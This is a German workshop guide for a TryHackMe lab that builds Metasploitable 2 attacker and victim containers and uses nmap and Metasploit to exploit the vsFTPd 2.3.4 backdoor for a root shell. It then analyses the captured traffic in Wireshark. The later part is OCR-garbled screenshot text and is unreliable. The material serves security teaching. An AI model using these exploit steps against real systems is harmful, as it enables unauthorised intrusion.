[bookmark: _9o1u44g3gmjv]Metasploitable 2 - Workshop

In diesem Guide wird gezeigt, wie man in einer virtuellen Kali-Maschine nmap und Metasploit benutzt um einen Linux-Host zu scannen und anschließend zu hacken - das heißt, sich ausgehend von einem “Attacker”-Computer Zugriff zu einer Shell auf einem “Victim”-Computer zu verschaffen.

Für die Umgebung verwende ich ein Docker-Image von “Metasploitable 2” innerhalb einer virtuellen Kali Linux- Maschine von TryHackMe.

[bookmark: _er41xov1q5oq]Einrichtung - Schritte
https://tryhackme.com öffnen und einen Account erstellen, falls noch nicht vorhanden.
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Sie sollen dann angeben wie viel Erfahrung Sie beim Thema Penetrationstesten haben:
[image: ]
Und anschließend einen Learning Path auswählen. Wählen Sie einen beliebigen:
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Als nächstes öffnen Sie bitte Ihr Profil:
[image: ]
Und tragen Sie unter “Redeem” den Voucher-Code ein den Sie bekommen haben:
[image: ]

TryHackMe ist eine Lernplattform für Cybersecurity-Interessierte. Man hat verschiedene Learning-Paths und Räume zur Verfügung um anhand von praktischen Beispielen Hacking-Übungen sowie verwandte Übungen durchzuführen.

Sehen Sie sich bitte als nächstes das Tutorial unter https://tryhackme.com/room/tutorial an.
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[bookmark: _80kdam8rjuby]Docker und Metasploitable 2
Als nächstes öffnen Sie bitte den folgenden Raum: https://tryhackme.com/room/metasploitintro#
Mit dem Premium-Account haben Sie Zugriff auf eine Kali-Linux Maschine. Wählen Sie diese bitte aus dem Dropdown rechts oben aus, und starten Sie sie.
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Es dauert etwa zwei Minuten, bis die Maschine verfügbar ist. Maximieren Sie das Fenster, die Anleitung auf der linken Seite wird für die folgenden Aktivitäten nicht benötigt:
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Nun folgt die Docker-Installation. Docker ist eine Software-Plattform mit der man Software mit minimalem Aufwand in Form sogenannter “Container” installieren und laufen lassen kann. Das werden Sie hier dazu benutzen um die Victim- und Attacker-Maschinen zu laden.

Öffnen Sie hierzu ein Terminal durch Klick auf das Terminal-Symbol links oben, wie hier dargestellt, und geben Sie den folgenden Befehl ein um zunächst die Installations-Quellen zu aktualisieren und Docker.io zu installieren, bestätigen Sie danach mit “Y” und Eingabe:
apt-get update
sudo apt install docker.io
[image: ]
Die Installation sollte nicht länger als eine Minute dauern. Sie werden zwischendurch aufgefordert ‘q’ zum Bestätigen einzugeben.
Danach klonen Sie ein Github-Repository durch den nachfolgenden Befehl, welches die benötigten Referenzen auf die Docker-Container enthält:
git clone https://github.com/fvvsantana/metasploitPlayground
[image: ]

Führen Sie folgende Befehle aus um die Docker-Container zu erstellen:
cd metasploitPlayground
cd attacker
docker build -t "attacker" .
[image: ]
Docker wird dann den entsprechenden Container der Angreifer-/Attacker-Maschine automatisch herunterladen und ‘builden’.
[image: ]

Danach machen Sie das gleiche für die Victim-Maschine:
cd ..
cd victim
docker build -t "victim" .
[image: ]


Starten Sie dann die Victim-Maschine mit dem Befehl:
docker run -it --volume=/tmp/victim/:/data victim:latest
[image: ]

Und öffnen Sie ein neues, zweites Terminal, und starten dort gleichermaßen die Attacker-/Angreifer-Maschine mit dem Befehl:
docker run -it attacker:latest
[image: ]

Lassen Sie beide Terminals offen. Wenn Sie die versehentlich schließen, müssen Sie den jeweiligen Container mit dem gleichen Befehl (docker run …) neu starten.


[bookmark: _ufbqsth97h5c]Hacking mit nmap und Metasploit
· Starten Sie Metasploit - im Attacker-Terminal - mit dem folgenden Befehl:
./msfconsole -r docker/msfconsole.rc -y config/database.yml
[image: ]
Der Befehl startet Metasploit mit einer Datenbank in der Metasploit alle Ergebnisse der Scans und Exploits automatisch zwischenspeichert.

· Als nächstes verwenden Sie nmap für einen Scan der Victim-Maschine mit der IP-Adresse 172.17.0.2. nmap in Metasploit ist eine spezielle Variante von Nmap in Metasploit, bei der Scan-Ergebnisse automatisch in der Metasploit-Datenbank gespeichert werden:
nmap -T4 -A -v 172.17.0.2
[image: ]
· Als Ergebnis wird eine Liste von offenen Ports und erkannten Services angezeigt. Sie sehen, dass es einen Service namens vsFTPd gibt.Wenn Sie in Suchmaschinen wie Google nach der angezeigten Version 2.3.4 suchen, werden Sie feststellen, dass die Version veraltet ist.
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· Nutzen Sie die Metasploit-Funktion “search” um nach Modulen zu suchen, die diesen Umstand ausnutzen:
search vsftpd
[image: ]

Es werden Exploit-Module in einer Suchergebnisliste angezeigt. Unter anderem der Exploit exploit/unix/ftp/vsftpd_234_backdoor.

· Wählen Sie diesen Exploit aus:
use exploit/unix/ftp/vsftpd_234_backdoor
oder:
use 0 [um den Exploit mit der # Nummer 0 aus den Suchergebnissen auszuwählen]
[image: ]
Der ausgewählte Exploit / das ausgewählte Modul wird rot hervorgehoben.

Sehen Sie sich mit “show options” an, welche Einstellungen Sie für dieses Modul konfigurieren müssen:
[image: ]
Sie sehen, dass RHOSTS ein ‘required’ Setting ist, und keinen Standardwert hat. Hier stellen Sie mit folgendem Befehl ein, wie die IP-Adresse das Targets lautet.
set RHOSTS 172.17.0.2
[image: ]

Damit haben Sie den Exploit komplett konfiguriert. Bei manchen Exploits muss man das richtige Payload einstellen, das ist der Schadcode der mithilfe des Exploits auf das Target/Victim hochgeladen wird, um zum Beispiel eine Shell zu öffnen, mit der eine dauerhafte Verbindung zum Computer hergestellt wird. In diesem Fall wurde ein Payload automatisch ausgewählt (“cmd/unix/interact”), was für diese Zwecke gut passen sollte.


Bevor Sie den Exploit nun ausführen, starten Sie jedoch auf der ‘Victim’-Maschine eine Aufzeichnung aller Verbindungen mit dem Tool tcpdump.

Wechseln Sie zum Victim-Terminal, und geben dort ein:
tcpdump -i eth0 -nn -s0 -v -w /data/victimDump.pcap
[image: ]
Dadurch werden alle Verbindungen beim “eth0”-Netzwerkinterface des Victims mitgeloggt und in der Datei /data/victimDump.pcap - einer “Packet-Capture-” Datei gespeichert.

Wechseln Sie wieder zum Angreifer-Terminal (auf dem obigen Screenshot rechts). Und dann starten Sie - wieder im Attacker-Fenster - den Exploit mit ‘run’.
run
[image: ]
Sie haben erfolgreich den Victim-Computer gehackt!


Sie können nun “Meterpreter”-Befehle (Meterpreter ist ein Teil von Metasploit für die Arbeit mit Payloads) absenden, zum Beispiel “whoami” oder “ls” um Informationen über das System zu erhalten - welcher Benutzer verbunden ist, welche Dateien sich im aktuellen Verzeichnis befinden, oder mit ”upload“ oder ”download“ Dateien übertragen, oder sogar mit “getsystem” versuchen Ihre Rechte zu erhöhen (sogenannte Privilege Escalation, um Adminrechte auf dem Target zu erlangen).

Geben Sie den Meterpreter-Befehl “shell” ein.

Es wurde direkt automatisch eine Shell geöffnet, mit der Sie entsprechende Shell-Befehle beim Victim absenden können.
[image: ]

Geben Sie nun im Victim-Terminal die Tastenkombination “Strg+C” ein, um tcpdump zu beenden, und öffnen Sie die Datei victimDump.pcap im Ordner /tmp/victim/ mit Wireshark - einem Tool, das solche Packet-Capture-Dateien öffnen und anzeigen kann.
[image: ]


[image: ]
Dort sehen Sie dann etwa ab TCP-Paket #10 - #12 wie Metasploit die Verbindung zu dem vsFTPd-Service hergestellt und einen Payload hochgeladen hat.
Man kann sich mit Rechtsklick -> Follow -> TCP Stream die gesamten versendeten und empfangenen Daten ansehen, und muss so nicht jedes TCP-Paket einzeln untersuchen.
[image: ]

Die ersten zwei Pakete im Packet Capture sind ARP-Anfragen, die nicht zum Angriff gehören.


Ab Paket #3 kann man mit der Analyse beginnen:
[image: ]
Der vsFTPd-Service hatte in Version 2.3.4 eine Backdoor: durch Angabe eines beliebigen Benutzernamens der mit ‘:)’ endet, wurde auf Port 6200 eine Shell geöffnet.

Die Attacke gliedert sich in vier Phasen:
1. Die Discovery-Phase in Packets #3 und #4, wo ein SYN-Paket an Port 6200 gesendet wird.
2. Das Ausnutzen der Backdoor auf Port 21 (FTP), durch Übermitteln des Usernamens der mit ‘:)’ endet in den Packets #5-15.
3. Das Erhalten von Informationen in den Packets #16-42.
4. Und danach das Beenden der Kommunikation.


In Paket #3 überprüft Meterpreter ob Port 6200 offen ist, .
Der vsFTPd-Service gibt die Version in Paket #8 bekannt.

In Paket #10 übermittelt der Angreifer-Rechner den Usernamen.

Ab Paket #16 beginnt die Kommunikation mit
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msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.17.0.2
RHOSTS = 172.17.0.2
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > i
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Name Current Setting Required Description

* ok ok ok

*

Exploit target:

Id Name

0  Automatic

/data/victimDu
, capture size 655

root@748d44a5d362
tcpdump: listening on e
35 bytes

Bot o msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.17.0.2

RHOSTS = 172.17.0.2 l

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > []
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+* Starting web server apache2

apache2: Could not reliably determine the server's fully qualified domain ShellNo.1

* Starting deferred execution scheduler atd A3 LEESEE UET GER

* Starting periodic command scheduler crond Name Current Setting Required Description

Starting distccd

* Starting MySQL database server mysqld
Checking for corrupt, not cleanly closed and upgrade needing tables.
Configuring network interfaces ... Exploit target:
Starting portmap daemon ...
Starting Postfix Mail Transport Agent postfix Id Name
Starting PostgreSQL 8.3 database server BUER

* Starting ftp server proftpd ® Automatic

Starting Samba daemons: nmbd smbd.

Starting network management services: snmpd.

snmpd[686]: error finding row index in _ifXTable_container_row_restore i msf6 exploit(iix/(tp/veitpd 294 hackdoor) > set RHOSTS 172.17.0.2

RHOSTS = 172.17.0.2
Starting OpenBSD Secure Shell server sshd msf6 exploit(unix/ftp/vsftpd_234_backdoor)
Starting system log daemon ...
Starting Tomcat servlet engine tomcat5.5 172.17.0.2:21 - Banner: 220 (vsFTPd 2.3.4)
Starting internet superserver xinetd 172.17.0.2:21 - USER: 331 Please specify the password.
Doing Wacom setup ... 172.17.0.2:21 - Backdoor service has been spawned, handling...
nohup: appending output to “nohup.out’.local) 172.17.0.2:21 - UID: uid=0(root) gid=0(root)
nohup: appending output to “nohup.out’ Found shell.
Command shell session 1 opened (0.0.0.0:0 — 172.17.0.2:6200) at 2022-
root@748d44a5d362:/# tcpdump -i eth® -nn -s@ -v -w /data/victimDump.pcap 06-09 17:00:27 +0000
tcpdump: listening on eth®, link-type EN1@MB (Ethernet), capture size 655
35 bytes
root
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[*] Trying to find binary ‘python' on the target machine
[*] Found python at /usr/bin/python

[*] Using “python” to pop up an interactive shell

[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
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@ DisplayPort AUX chann|
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nohup: appending output to “nohup.out'.local) msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
nohup: appending output to “nohup.out’ [*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit( ) > set RHOSTS 172.17.0.2
root@7c0858f91a69:/# tcpdump -i eth® -nn -s@ -v -w /data/victimDump.pcap RHOSTS = 172.17.0.2
tcpdump: listening on ethd, link-type EN10MB (Ethernet), capture size 65535 bytes msf6 exploit( ) > run
“~C95 packets captured
95 packets received by filter .0.2: Banner: 220 (vsFTPd 2.3.4)
@ packets dropped by kernel .0. USER: 331 Please specify the password.
root@7c0858f91a69:/# [] 375 Backdoor service has been spawned, handling ...
UID: uid=@(root) gid=0(root)
Found shell.
Command shell session 1 opened (0.0.0.0:0 — 172.17.0.2:6200) at

whoami
root

victimDump.pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

e RE QesE=gesSEaaar

No. Time Source Destination Protocol Lengtt Info
1 0.000000 02:42:ac:11:00:03 Broadcast ARP 42 Who has 172.17.0.27 Tell 172.17.0.3
2 0.000049 02:42:ac:11:00:02 02:42:ac:11:00:03 ARP 42 172.17.0.2 is at 02:42:ac:11:00:02

4 4 1S SAC 1 TSvi C| S
0.2 TCcP 7421 ~ 41539 [SYN, ACK] SOQ:O Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM=1 TSval=2051959298 TSecr=918992670 WS=128
0.3 TCP 66 41539 - 21 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=918992670 TSecr=2051959298
0.005207 172.17.0.2 FTP 86 Response: 220 (VSFTPd 2.3.4)
9 0.005239 172.17.0.3 TCP 66 41539 ~ 21 [ACK] Seq=1 Ack=21 Win=64256 Len=0 TSval=918992675 TSecr=2051959303
10 0.009415 172.17.0.3 FTP 80 Request: USER I7gEe:)
11 0.009431 172.17.0.2 TCP 66 21 - 41539 [ACK] Seq=21 Ack=15 Win=65280 Len=0 TSval=2051959307 TSecr=918992679
12 0.009472 172.17.0.2 FTP 100 Response: 331 Please specify the password
13 0.009505 172.17.0.3 TCP 66 41539 ~ 21 [ACK] Seq=15 Ack=55 Win=64256 Len=0 TSval=918992679 TSecr=2051959307
14 0.010340 172.17.0.3 FTP 76 Request: PASS 181
15 0.010355 172.17.0.2 TCP 66 21 —~ 41539 [ACK] Seq=55 Ack=25 Win=65280 Len=0 TSval=2051959308 TSecr=918992680
16 0.010792 172.17.0.3 TCP 74 41183 - 6200 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=018992680 TSecr=0 WS=128
17 0.010812 172.17.0.2 TCcP 74 6200 ~ 41183 [SYN, 1 Ack=1 Win=65160 Len=@ MSS=1460 SACK_PERM=1 TSval=2051959309 TSecr=918992680 WS=128
18 0.010827 172.17.6.3 TCP 66 41183 - 6200 [ACK] Seq=1 Ack=1 Win=64256 Len=0 15val=918992681 TSecr=2051959309
19 0.011589 172.17.0.3 CP 69 41183 - 6200 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=3 TSval=918992681 TSecr=2051959309
20 0.611604 172.17.0.2 CP 66 6200 ~ 41183 [ACK] Seq } =2051959309 TSecr=918992681
21 0.0137. 172.17.0.2 TCP 90 6200 - 41183 [PSH, ACK] Seq=1 Ack=4 Win=65280 Len=24 TSval=2051959311 TSecr=918992681
22 0.0137 172.17.0.3 CP 66 41183 - 6200 [ACK] Seq=4 Ack=25 Win=64256 Len=0 TSval=918992683 TSecr=2051959311
23 0.014426 172.17.0.3 TCP 88 41183 - 6200 [PSH, Ack=25 Win=642 2 TSval=918992684 TSecr=2051959311
24 0.014434 172.17.0.2 TcP 66 6200 - 41183 [ACK] 5280 Len=0 TSval=2051959312 TSecr=918992684

Frame 3: 74 bytes on wire (5 2 bits), 74 bytes captured (592 bits)

Ethernet II, Src: 02:42:ac:11:00:03 (02:42:ac:11:00:03), Dst: ©2:42:ac:11:00:02 (02:42:ac:1.
Internet Protocol Version 4, Src: 172.17.6.3, Dst: 172.17.6.2

Transmission Control Protocol, Src Port: 43843, Dst Port: 6200, Seq: ©, Len: @

02 42 ac 11 00 03 08 00 45 @0 B E
00 3c 63 96 40 00 40 06 7e fe ac 11 00 03 ac 11 <c-00
00 02 ab 43 18 38 Od 87 6f f0 00 00 00 00 a® 62 C8 o
fa f0 58 56 00 00 02 @4 05 b4 64 02 08 Ga 36 c6 xv 6

b7 1e 60 00 00 00 01 63 03 07

© 7 victimDump.pcap Packets: 95 - Displayed: 95 (100.0%)
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